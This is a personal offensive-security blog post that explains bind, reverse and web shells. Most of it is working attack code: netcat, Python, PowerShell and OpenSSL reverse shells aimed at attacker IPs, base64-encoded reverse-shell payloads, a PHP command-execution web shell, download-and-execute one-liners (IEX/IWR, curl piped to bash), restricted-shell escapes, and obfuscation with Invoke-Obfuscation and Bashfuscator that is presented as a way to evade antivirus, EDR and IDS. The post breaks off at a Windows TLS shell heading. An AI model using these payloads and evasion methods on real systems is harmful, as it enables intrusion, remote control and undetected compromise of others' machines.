Shells
How you can use shells effectively
Hi, my name is Luis. I’m a security enthusiast so with that in mind I decided to create pwnarchive, This is my first post here, and I’ve decided to keep it simple by starting with something seemingly trivial as shells. They may look basic, but knowing about them is fundamental.
I created pwnarchive as a personal logbook a place to capture what I’ve learned, share techniques I find useful, and show machines or challenges I’ve done. Over time, I’ll expand it with more content ranging from quick notes and miscellaneous tips to deeper dives into offensive security concepts.
Without further ado, I welcome you to pwnarchive. I hope you enjoy the read :)
Note:
I won’t be covering Metasploit here, it’d make the post much longer. This post is focused on simple, manual techniques and isn’t meant to be an in‑depth guide on shells. Maybe I’ll dive into Metasploit in a future post 🤔
So… what is a shell?
A shell is a program that provides you an interface with the operating system, allowing you to instruct the system to perform actions, these actions are what we call commands.
💡Fun fact:
The shell serves as an intermediary between the you and the kernel, translating human readable instructions into system level operations. Its name comes from its role as an outer layer that surrounds the operating system’s core (the kernel) giving us a way to interact with it.
Why should I care?
We care about shells because, once we gain remote access to a shell on the target operating system, we obtain direct access to the file system and the OS itself, allowing us to execute commands and potentially launch further attacks.
Difference between shell and terminal
They’re not the same thing, and it’s easy to get them mixed up. I know because I’ve confused them before. Here’s a simple way to think about it
| Component | Role |
|---|---|
| Terminal | A terminal is a text-based interface that establishes an input/output channel between the user and the shell. It captures keystrokes, sends them to the shell, and displays the resulting output. |
| Shell | The command-line interpreter that parses what you type and executes programs or scripts. |
💡Another Fun fact
(Why do I feel this might become a common thing? 😆)
Before personal computers were a thing, people used physical terminals, just a keyboard and screen connected to a mainframe, sending keystrokes and showing output. Today, when you open a terminal on your laptop, you’re really using a terminal emulator software that mimics a terminal.
TLDR
The terminal is the interface you see, while the shell is the interpreter behind it.
Shells vs Remote Graphical Interfaces
| Aspect | Shells (Reverse/Bind) | RDP / VNC |
|---|---|---|
| Footprint | Lightweight minimal resource usage | Heavy, higher CPU/memory usage |
| User Visibility | Runs silently in the background; user is usually unaware, unless monitoring tools are in place. | Visible desktop session, user may notice mouse/keyboard activity |
| Network Signature | Can use simple TCP/UDP can be tunneled/obfuscated (HTTPS, DNS, ICMP, etc.) to blend with normal traffic. | Uses well-known ports, easily flagged by IDS/IPS traffic patterns are recognizable and even when encrypted can still be fingerprintable. |
| Logging | May appear only as a spawned process with a network connection depends on OS auditing and EDR visibility. | Session start/stop, authentication attempts, and activity are logged by OS |
| Detection | Harder to detect without process/network correlation monitoring, stealthier if tunneled. | Easier to detect. many SIEM/EDR tools have built-in rules for RDP/VNC anomalies. |
| Automation | Easier and faster | Posible but may need some setup less reliable and slower than shells |
But before we talk more about shells…
What is a payload
A payload is the code delivered after exploiting a vulnerability that performs an action for the attacker, with one of the most common actions being to grant a shell.
What is a exploit
We can say that an exploit is a piece of code, script, or technique that takes advantage of a vulnerability in a system, application, or service. Its purpose is to gain control or access by abusing that weakness.
Payload vs exploit
| Term | Definition | Purpose | Examples |
|---|---|---|---|
| Exploit | Code, script, or technique that abuses a vulnerability in software, services, or systems | To gain execution or access by leveraging a weakness | Buffer overflow, SQL injection, remote code execution |
| Payload | The code delivered and executed after the exploit succeeds | To perform the attacker’s intended action once access is obtained like getting a shell for example | getting a shell, keylogger, backdoor |
TLDR
an exploit is the method used to gain access a payload is the action performed once access is gained
Before getting a shell
When preparing to establish a shell session on a target, it’s important to first understand the environment you’re interacting with. (You should already know that from the enumeration process), but the options you have for spawning or upgrading a shell will depend on things like
Operating system and version
Different platforms (Windows, Linux, macOS, BSD, etc.) ship with their own default tools, utilities, and behaviors.Available interpreters and runtimes
The presence of scripting languages (e.g., Python, PowerShell, Perl) or even just a minimal command shell determines which upgrade or interaction methods are possible.System role and context
A workstation, web server, or database host may enforce different restrictions, monitoring, or installed binaries depending on its purpose in the network.Access limitations
User privileges, sandboxing, or endpoint security controls can all influence what kind of shell you can establish or how you can upgrade it.
By being aware of these aspects of the target system, you can select the most effective and reliable method for obtaining and maintaining a shell session.
with that being said lets talk about the types of shell we have…
Bind shells
A bind shell is a type of shell where the attacker via a payload opens a network port on the victim’s machine and the victim machine then waits for an incoming connection from the attacker.
In this setup, the attacker connects directly to the target’s IP address and the listening port.
Demo
- target (here we open a port in the target machine)
- attacker connects to the previously opened port
4444on the victim (See previous image)
Result: you gain an shell on the target and now can execute commands on their machine
you might be thinking: that sounds great doesn't it?!! you just connect to the target and...
The problem with bind shells
| Challenge | Why It’s a Problem |
|---|---|
| Firewall restrictions | Network administrators usually enforce strict inbound firewall rules and NAT/PAT on the network edge, making it difficult to connect from outside. |
| Internal access needed | Because inbound traffic is blocked, an attacker often needs to already have internal network access to connect to a bind shell. |
| OS-level firewalls | Host-based firewalls (Windows Defender Firewall, iptables, etc.) typically block unsolicited inbound connections unless explicitly allowed. |
Now ladies and gentleman, without further ado I present to you the solution to these issues 🎉
PS: I know you were all hoping for this ;)
Enter Reverse Shells
So what is a reverse shell?
A reverse shell is a type of remote shell connection where the target machine initiates the connection back to the attacker’s machine, instead of the attacker connecting directly to the target.
attacker side (we are listening)
1
2
3
# nc -lvnp → sets up netcat to
# -l (listen), -v (verbose, shows connection details and status messages), -n (no dns resolution, faster and avoids name lookups), -p (set port)
user@pwnarchive:~$ nc -lvnp 6789
target side (connects back to us)
1
2
3
4
5
6
7
8
# rm -f /tmp/f → deletes /tmp/f if it already exists.
# mkfifo /tmp/f → creates a named pipe (FIFO) at /tmp/f.
# cat /tmp/f | /bin/bash -i 2>&1 → reads commands from the pipe and feeds them into an interactive Bash shell, sending both stdout and stderr back out.
# | nc 10.0.5.4 6789 > /tmp/f → connects to the attacker’s machine at 10.0.5.4:1337 with netcat, sends the shell’s output there, and writes whatever comes back into the FIFO (so Bash reads it).
user@target:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.5.4 6789 > /tmp/f
Result: you get a connection back and now can execute commands!
It works because stateful firewalls allow outbound connections by default, since users inside the network are expected to initiate sessions (like browsing the web or sending email). Once the outbound connection is established, the firewall tracks it in its state table and permits the return traffic, which is where the attacker’s commands flow back.
A quick pause, have you heard about interactive shells? what does that mean?
An interactive shell
is the one you use when you open a terminal and start typing commands yourself. It shows you a prompt ($ or #), waits for your input, and gives you feedback. you can think of it like a live conversation with the system, you ask, it answers. Because it’s meant for people using it, it also loads useful things like aliases, environment variables, and reads your ~/.bashrc so you get shortcuts and a nice working environment.
A non‑interactive shell
on the other hand, doesn’t expect you to sit there typing. Instead, it just runs commands automatically, usually from a script, a cron job, or some automated process. There’s no prompt, no back‑and‑forth. It doesn’t bother loading your interactive configs, because it’s not meant for human interaction. It just executes what it’s told and exits.
Quick tips to gain a nice and comfy interactive shell ;)
When you gain access to a system through a reverse shell, it may be unstable if it isn’t interactive. This happens because the shell lacks a PTY (pseudo‑terminal), so actions like pressing Ctrl+C can kill the entire session instead of just interrupting the running process.
What is a PTY?
A pseudo-terminal (pty) is a virtual terminal. It makes a program (like a shell) believe it’s talking to a real terminal, but in reality another program is in control, sending input and capturing output. some examples ofcontrol programsincludessh,xterm,gnome-terminaland so on.
Why PTY matters in shells?
When you catch a reverse shell without a PTY (for example with nc), you’re basically talking to a raw input/output stream which is why it you shell is limited and feels so weird. without a PTY you cannot do the following.
| Limitation | Effect |
|---|---|
| No Job control | No background/foreground tasks |
| No Line editing | No arrow keys, tab completion, or history |
| No proper Signal handling | Ctrl+C kills the whole session |
| Some Command won’t run | su, ssh, vim may fail |
So to be able to solve this once you get a shell you could use one of the following methods to get an interactive shell (for more methods please review the useful tools section on the bottom)
Python (Linux)
1
$ python -c 'import pty; pty.spawn("/bin/bash")'
ConPTYShell
You could use the Invoke-ConPtyShell script, which can help when the windows shell does not open useful programs like (mimikatz, winpeas, etc.) or gives a weird behavior.
On attacker side
1
user@pwnarchive:~$ stty raw -echo; (stty size; cat) | nc -lvnp 6789
This sets up a netcat listener on port 6789
On the target
1
PS C:\Users> IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.120 6789
This command uses Invoke-WebRequest to download the Invoke-ConPtyShell.ps1 script directly from GitHub and executes it in memory with Invoke-Expression (IEX). Once loaded, it calls Invoke-ConPtyShell, which establishes a reverse connection back to the attacker’s machine at 10.0.0.120:6789, providing a fully interactive Windows shell through ConPTY.
Another way of launching a interactive shell (Linux)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Launch a clean bash shell with output redirected to /dev/null
# This gives you a proper prompt like "user@hostname:~$"
# and redirects the output to /dev/null so no commands get logged
$ script /dev/null -c /bin/bash
# Suspend the current foreground process (reverse shell listener)
# Press Ctrl+Z — you'll see something like:
# ^Z
# zsh: suspended nc -lvnp 4444
# 'stty raw -echo' disables line buffering and command echoing (for interactive input)
# 'fg' resumes the suspended shell
$ stty raw -echo; fg
# If the terminal looks broken or misaligned, reset it
# 'reset xterm' reinitializes terminal display
# 'export TERM=xterm' ensures proper terminal emulation
$ reset xterm; export TERM=xterm
And Voila! thank me later.
Now with this changes you should be more comfortable in your current shell session.
Web Shells
A web shell is a malicious script uploaded to a vulnerable web server that gives an attacker a interface to execute commands through a browser.
Example of a webshell
Suppose we discover an unrestricted file upload vulnerability. To demonstrate its impact, we upload a simple PHP backdoor named backdoor.php and configure it to accept commands via the 0 GET parameter.
Here’s an example payload
1
2
3
<?php
system($_GET[0]);
?>
We upload the backdoor.php file
You could also use a webshell template like pentestmonkey’s PHP reverse shell or Antak WebShell, depending on the target. Beyond PHP and ASPX, there are collections for many other technologies. If you’re working in Kali Linux, you can also install the
webshellspackage, which provides a list of webshells under/usr/share/webshells/.
In this case, the backdoor executes any system command passed through the 0 parameter. For instance, accessing:
http://target.com/backdoor.php?0=ls
would run the ls command on the server, listing directory contents. This technique allows remote command execution without requiring a direct shell connection, leveraging PHP’s system() function to interact with the underlying OS.
Patience here is rewarded, so I’ll share a few of the tricks I have used in the past (just a small selection, not the whole list).
For more information you can also see the foot of this post which contains resources you can explore and check out more methods.
Restrictive enviroments
A restrictive enviroment is a locked‑down shell or system where common binaries are disabled, execution is limited, paths/permissions are constrained, and activity may be monitored or sandboxed to prevent easy escape or privilege escalation.
For more information about restricted shells (rbash especifically) visit GNU The restricted shell for more binaries which can be used to escape a restricted shell check GTFObins
Using find -exec To Launch A Shell
This method is particularly handy in restricted environments where common binaries (like python, perl, or script) may be missing or blocked. Since find is often available by default on Unix‑like systems, it can be abused to spawn an interactive shell.
1
$ find . -exec /bin/sh \; -quit
Using awk to escape a restricted shell
1
$ awk 'BEGIN {system("/bin/sh")}'
Encoding
Encoding a payload
Encoding is basically the process of taking data and changing how it’s represented, usually so it’s easier to store, send, or process. Think of it like saying the same thing but in another language, the meaning doesn’t change, but the form does.
Encoding is not encryption, it doesn’t make data secret, just changes its form.
original payload
1
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.166.15.20",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
encoded payload cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjYuMTUuMjAiLDk5OTkpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2Jhc2giKSc=
payload being decoded and executed
1
2
3
4
5
6
# 1. 'base64 -d' (this decodes the passed value)
# 2. '<<<' is a "here string" in Bash it is a operator that allows a string to be passed directly as standard input (stdin) to a command, similar to a pipe but more concise for short inputs
# 3. '| bash' we pipe the decoded payload to bash so it can get executed as a command and we should receive a shell
$ base64 -d <<< cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjYuMTUuMjAiLDk5OTkpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2Jhc2giKSc= | bash
Keep in mind that standard payloads like the one above are pretty easy to catch, because most modern security tools don’t just look at the encoded string, they’ll actually decode it in memory and scan what’s really being executed.
In practice, this kind of encoding is used more often to prevent commands from breaking (for example, when special characters or tokens would otherwise cause issues during execution) than as a serious evasion technique.
In windows
this is easier with the -e parameter which executes an encoded command.
1
PS C:\Users> powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMAAuADAALgAxADIAMAAiACwANgA3ADgAOQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
Obfuscation
Linux
Signature
means a unique pattern (byte sequence, text strings, or network behavior) that identifies a known piece of malware, exploit, or attack.Antivirus software, IDS/IPS, and WAFs compare files or traffic against a signature database.
Modern security tools rely heavily on signature-based detection. While this works well for known threats, it has a major weakness: if the signature changes, the detection often fails. This is where obfuscation can be helpful.
Obfuscation is the process of transforming code so that it looks completely different while still performing the same function.
Obfuscation to bypass static analysis
Bashfuscator
There is a tool called bashfuscator which can be helpful in these cases it gives you the ability to bypass static detections on a Linux system
1
e${*//Z/\\}v${*#w}a\l "$(printf %s 'HSAB$}*H%*{$|}=//*{$")}.V//*{$;enod;}^^*{$"}]}^@{$Sk$}2#%*{$[dP{$" s% "f"t""nir\p od;]))02#4+)11#3--02#4(-(-([$ }OO%%@{$))))0#42+)1#42+0#15(-(-((($ ))))ed3b1#51+)8vh#85--qlp#43(-(-((($ ])2#71+)0#3*0#11(([$ "@$"]))11#2+)11#3--2#84(-(-([$ "},@{$")))11#4+)0#94*1#8-(((($ ni Sk rof;)w i h @$o "}]\V/@{$"m a}*{$(=dP($" s% ftni'"'"'r'"'"'p'|$'\x72ev'${@^^}${@^})"$@
This blob of text is command obfuscation, the attacker inserts redundant characters, parameter expansions, and escape sequences to disguise a simple payload.
Although it looks noisy, once normalized it reduces to the command whoami. The purpose of this obfuscation is to evade static, string‑based detection systems.
although in this example we just did a whoami , In practice the same approach could conceal more dangerous payloads, such as a reverse shell, if combined with a remote code execution vulnerability.
To avoid any errors you can encode to base64 and use the technique I showed you before
1
$ base64 -d <<< "ZSR7Ki8vWi9cXH12JHsqI3d9YVxsICIkKHByaW50ZiAlcyAnSFNBQiR9KkglKnskfH09Ly8qeyQiKX0uVi8vKnskO2Vub2Q7fV5eKnskIn1dfV5AeyRTayR9MiMlKnskW2RQeyQiIHMlICJmInQiIm5pclxwIG9kO10pKTAyIzQrKTExIzMtLTAyIzQoLSgtKFskIH1PTyUlQHskKSkpKTAjNDIrKTEjNDIrMCMxNSgtKC0oKCgkICkpKSllZDNiMSM1MSspOHZoIzg1LS1xbHAjNDMoLSgtKCgoJCBdKTIjNzErKTAjMyowIzExKChbJCAiQCQiXSkpMTEjMispMTEjMy0tMiM4NCgtKC0oWyQgIn0sQHskIikpKTExIzQrKTAjOTQqMSM4LSgoKCgkIG5pIFNrIHJvZjspdyBpIGggQCRvICJ9XVxWL0B7JCJtIGF9KnskKD1kUCgkIiBzJSBmdG5pJyInIidyJyInIidwJ3wkJ1x4NzJldicke0BeXn0ke0BefSkiJEA=" | bash
Some useful techniques
Another common technique during is to execute payloads without writing them to disk. by getting the payload from our hosted web server (This reduces detection and helps evade security tools that monitor file creation).
1
curl -s http://<IP or hostname>/you_hostedb64_payload.txt | base64 -d | bash
In addition to this we can also compress the payload and decompress before execution
1
curl -s https://<IP or hostname>/payload.gz.b64 | base64 -d | gunzip | bash
lastly we can also decrypt the payload once it reaches the target (it goes without mention that we have to encrypt the file before trying to use it)
1
curl -s https://<IP or hostname>/payload.enc | openssl enc -aes-256-cbc -d -k 'SecretKey' | bash
Windows
Invoke-Obfuscation
We can use Invoke-Obfuscation to obfuscate commands on windows
If we are on the downloaded directory, we can import Invoke-Obfuscation with
1
PS C:\Users\Public> Import-Module Invoke-Obfuscation\Invoke-Obfuscation.psd1
Running Invoke-Obfuscation
1
PS C:\Users\Public> Invoke-Obfuscation
To understand how to use the tool you can use the TUTORIAL option.
We do SET SCRIPTBLOCK and then we include the payload like this
A ScriptBlock in PowerShell is simply a chunk of code enclosed in
{ }braces that PowerShell treats as an object.
Based on this we can create a scriptblock which will contain our payload
1
$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('10.0.0.120', 6789);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
We then have the following options
I decided to use ALL for this example
So you don’t get lost my friend here I will give you a table that explains each option.
| Option | What It Does | Example Effect |
|---|---|---|
| TOKEN | Obfuscates PowerShell tokens (keywords, operators, cmdlets) by splitting, concatenating, or reordering them. | New-Object → N+ew-Ob+ject |
| AST | Rewrites the Abstract Syntax Tree so the code structure changes but logic stays the same. Requires (PS 3.0+) to work. | Get-Process →&('Get'+'-Process') |
| STRING | Obfuscates strings by breaking them apart, encoding, or concatenating. | "mimikatz" → ('mi'+'mi'+'k'+'atz') |
| ENCODING | Encodes the entire command into another representation (Base64, Hex, Octal, Binary, etc.). | Command → powershell.exe -EncodedCommand <Base64> |
| COMPRESS | Compresses the command into a one‑liner and optionally wraps it in decompression logic. | Multi‑line script → compressed Gzip string executed at runtime. |
| LAUNCHER | Obfuscates how the command is launched (different PowerShell invocation syntaxes, argument tricks, etc.). | powershell.exe -NoP -W Hidden -Enc <payload> |
after that we get the obfuscated value
We copy to clipboard…
Then we can encode the command and run the following
1
PS C:\Users\Public> powershell.exe -NoP -W Hidden -e JDVjbD1bVFlQRV0oIns1fXsyfXsxfXswfXszfXs0fXs2fXs3fSItZiAnVGhlblRJY2EnLCdJVFkuYXUnLCdzVGVtLnNlY3VyJywnVGlvJywnTi5Tc2xwcm8nLCdTWScsJ1RvQ28nLCdsUycpIDsgICRKNnlVSyAgPSAgW3RZUGVdKCJ7M317Mn17MX17MH0iIC1GJ2NPZElORycsJy5FTicsJ0VYdCcsJ3QnKSAgOyR7c3NgTGBQUk9gVE9jT0xTfSA9ICAoICAmKCdMcycpICgiezF9ezB9ezJ9ezN9Ii1mICdhcmlBYkxFJywndicsJzo1YycsJ0wnKSApLiJWYWBMVUUiOjoiVExzYDEyIjsgJHt0Y1BgY0xJRWBOVH0gPSAmKCJ7MH17MX17Mn0iLWYgJ05ldy1PJywnYmonLCdlY3QnKSAoIns2fXswfXs1fXszfXsyfXs0fXsxfSItZidlJywnaWVudCcsJ29ja2V0cy5UQ1AnLCdTJywnQ2wnLCd0LicsJ04nKSgoInsxfXsyfXswfSIgLWYnMC4xMjAnLCcxMCcsJy4wLicpLCA2Nzg5KTske25gZXRgd29Sa2BTdHJFQU19ID0gJHt0Q3BDYExJYGVOdH0uKCJ7Mn17MH17MX0iIC1mICd0cicsJ2VhbScsJ0dldFMnKS5JbnZva2UoKTske3NzTFNUcmBFYEFNfSA9IC4oInszfXsxfXsyfXswfSItZidjdCcsJ2UnLCd3LU9iamUnLCdOJykgKCJ7Mn17MX17NH17M317NX17MH0iIC1mICdtJywnZXQnLCdOJywndXJpdCcsJy5TZWMnLCd5LlNzbFN0cmVhJykoJHtuRWBUV2BvUmtzdFJlQU19LCR7RkFMYHNFfSwoeyR7dGBSdWV9fSAtYXMgW05ldC5TZWN1cml0eS5SZW1vdGVDZXJ0aWZpY2F0ZVZhbGlkYXRpb25DYWxsYmFja10pKTske3NTbFNUYFJFYEFtfS4oIns0fXsxfXsyfXswfXszfSIgLWYgJ3RpY2F0ZUFzQ2wnLCd0JywnaGVuJywnaWVudCcsJ0F1JykuSW52b2tlKCgiezJ9ezN9ezB9ezR9ezF9IiAtZidyZS1kbnMuYycsJ20nLCdjJywnbG91ZGZsYScsJ28nKSwke25gVWxsfSwke1NzbGBwck9UT2Bjb2BMc30sJHtGYEFgbHNlfSk7aWYoISR7U1NgbHNgVFJFYW19LiJpc2VuYGNgUllgcHRlRCIgLW9yICEke1NTTFNUYFJlYEFtfS4iaWBzc2lnbkVEIikgeyR7c1NMU2BUcmBFQU19LigiezF9ezB9Ii1mICdlJywnQ2xvcycpLkludm9rZSgpO2V4aXR9JHtzdGBSZWFNYFdSYGlgVEVyfSA9ICYoInsxfXsyfXswfSIgLWYgJ2N0JywnTmV3LU9iaicsJ2UnKSAoInsyfXszfXs0fXsxfXswfSIgLWYnaXRlcicsJ2FtV3InLCdJJywnTy4nLCdTdHJlJykoJHtTc2xTYFRyZWBBbX0pO2Z1bmN0aW9uIHdSaVRgZXRvc2BUUmVgQU0gKCR7U2BUUklgTkd9KSB7W2J5dGVbXV0ke1NgY2BSSXB0OmJgVWZmRXJ9ID0gJigiezB9ezF9ezJ9ezN9IiAtZidOZXcnLCctT2JqJywnZWMnLCd0JykgKCJ7M317Mn17MH17MX0iLWYndGVbJywnXScsJ2VtLkJ5JywnU3lzdCcpIDQwOTYgOyR7c1RSRUFgbXdSSWBUZXJ9LigiezF9ezB9Ii1mJ2l0ZScsJ1dyJykuSW52b2tlKCR7c1RgUmlgTmd9ICsgKCJ7MX17Mn17MH0iIC1mJ0w+ICcsJ1MnLCdIRUwnKSk7JHtzdHJgRUFgbXdSaWBURVJ9LigiezF9ezB9Ii1mICd1c2gnLCdGbCcpLkludm9rZSgpfTsmKCJ7MH17MX17Mn0iIC1mJ1dyaXRlVG8nLCdTdCcsJ3JlYW0nKSAnJzt3aGlsZSgoJHtiWWBUZVNgUmVhZH0gPSAke1NzYExTYFRyRUFtfS4oInswfXsxfSIgLWYgJ1JlJywnYWQnKS5JbnZva2UoJHtiVWBGYEZlcn0sIDAsICR7QmBVRmZgRVJ9LiJsYEVOR3RoIikpIC1ndCAwKSB7JHtjT21gTWFuZH0gPSAoICRqNnl1Szo6IlVgVGY4IikuImdldHNgVFJgaW5HIigke2J1RmBGZVJ9LCAwLCAke0JgeXRgRVNyZWFEfSAtIDEpOyR7T2BVYFRQVVR9ID0gdHJ5IHsmKCJ7MH17MX17M317NH17NX17Mn0iIC1mJ0knLCdudm9rZScsJ29uJywnLUV4cHJlJywncycsJ3NpJykgJHtDb21gbUFgTmR9IDI+JjEgfCAmKCJ7MH17Mn17MX0iIC1mICdPdXQtU3RyJywnZycsJ2luJyl9IGNhdGNoIHske199IHwgJigiezF9ezB9ezJ9IiAtZiAndC1TdHJpJywnT3UnLCduZycpfSYoInswfXsyfXszfXsxfSIgLWYnV3InLCdUb1N0cmVhbScsJ2l0JywnZScpICgke291VGBwdXR9KX0ke3NgVFJlQWBNV1JgSVRFUn0uKCJ7MX17MH0iIC1mICdzZScsJ0NsbycpLkludm9rZSgp
| Option | Meaning |
|---|---|
-NoP | Short for -NoProfile. Launches PowerShell without loading the user’s profile scripts. This avoids custom configurations and speeds up execution. |
-W Hidden | Sets the window style to Hidden, meaning the PowerShell window won’t appear on screen. Useful for stealthy or background execution. (is known by AV’s to be used for malicious activity so it may get flagged) |
-e | Short for -EncodedCommand. Tells PowerShell to execute a base64-encoded string as a command. This is often used to obfuscate or compress long commands. |
Options like
nop -exec bypass -win Hidden -noni -enc-ep bypass -noni -w hidden -encare known to get flagged by AV’s and detection implementations.
For this example we used TOKEN obfuscation for a better explanation of the tool The Invoke Obfuscation Usage guide
Issues with non-encrypted communication channels when using shells
Note
When setting up a reverse shell, it’s often safer to use ports that are already common and expected on the target system. This reduces the chance of being blocked by firewalls or intrusion detection systems, since the traffic blends in with normal communication. Examples include 22 (SSH), 443 (HTTPS), or 445 (SMB).
Always confirm that the target is legitimately using the chosen port before attempting this, otherwise the connection may fail or raise suspicion.
When you run a normal shell when executing commands they can be seen in the plaintext if you use tools like wireshark or tcpdump
On target
1
PS C:\Users> powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.15.154', 6789);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
attacker
1
user@pwnarchive:~$ socat -d -d TCP-LISTEN:6789 STDOUT
If we follow the TCP stream
To prevent that we can create an encrypted connection which can help us in increasing our chances on evading detection and many detection systems (AV, EDR, IDS/IPS) rely on signatures or recognizable patterns. If the traffic is encrypted, those signatures are harder to match.
how do we create the encrypted communication?
OpenSSL reverse shell
this is one of the simplest ways to set up an encrypted reverse shell without installing additional tools, provided it’s available on the target.
we can create a certificate to encrypt the communication using the Openssl command. and inmediatly set up the listener to be able to receive a connection back
1
user@pwnarchive:~$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port 443
We again use the same one line but this time we use Openssl client command to generate a shell and send the connection to port 443 to our machine.
1
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|openssl s_client -quiet -connect 10.0.0.7:443 >/tmp/f
Windows SSL TLS Reverse shell
Target
1
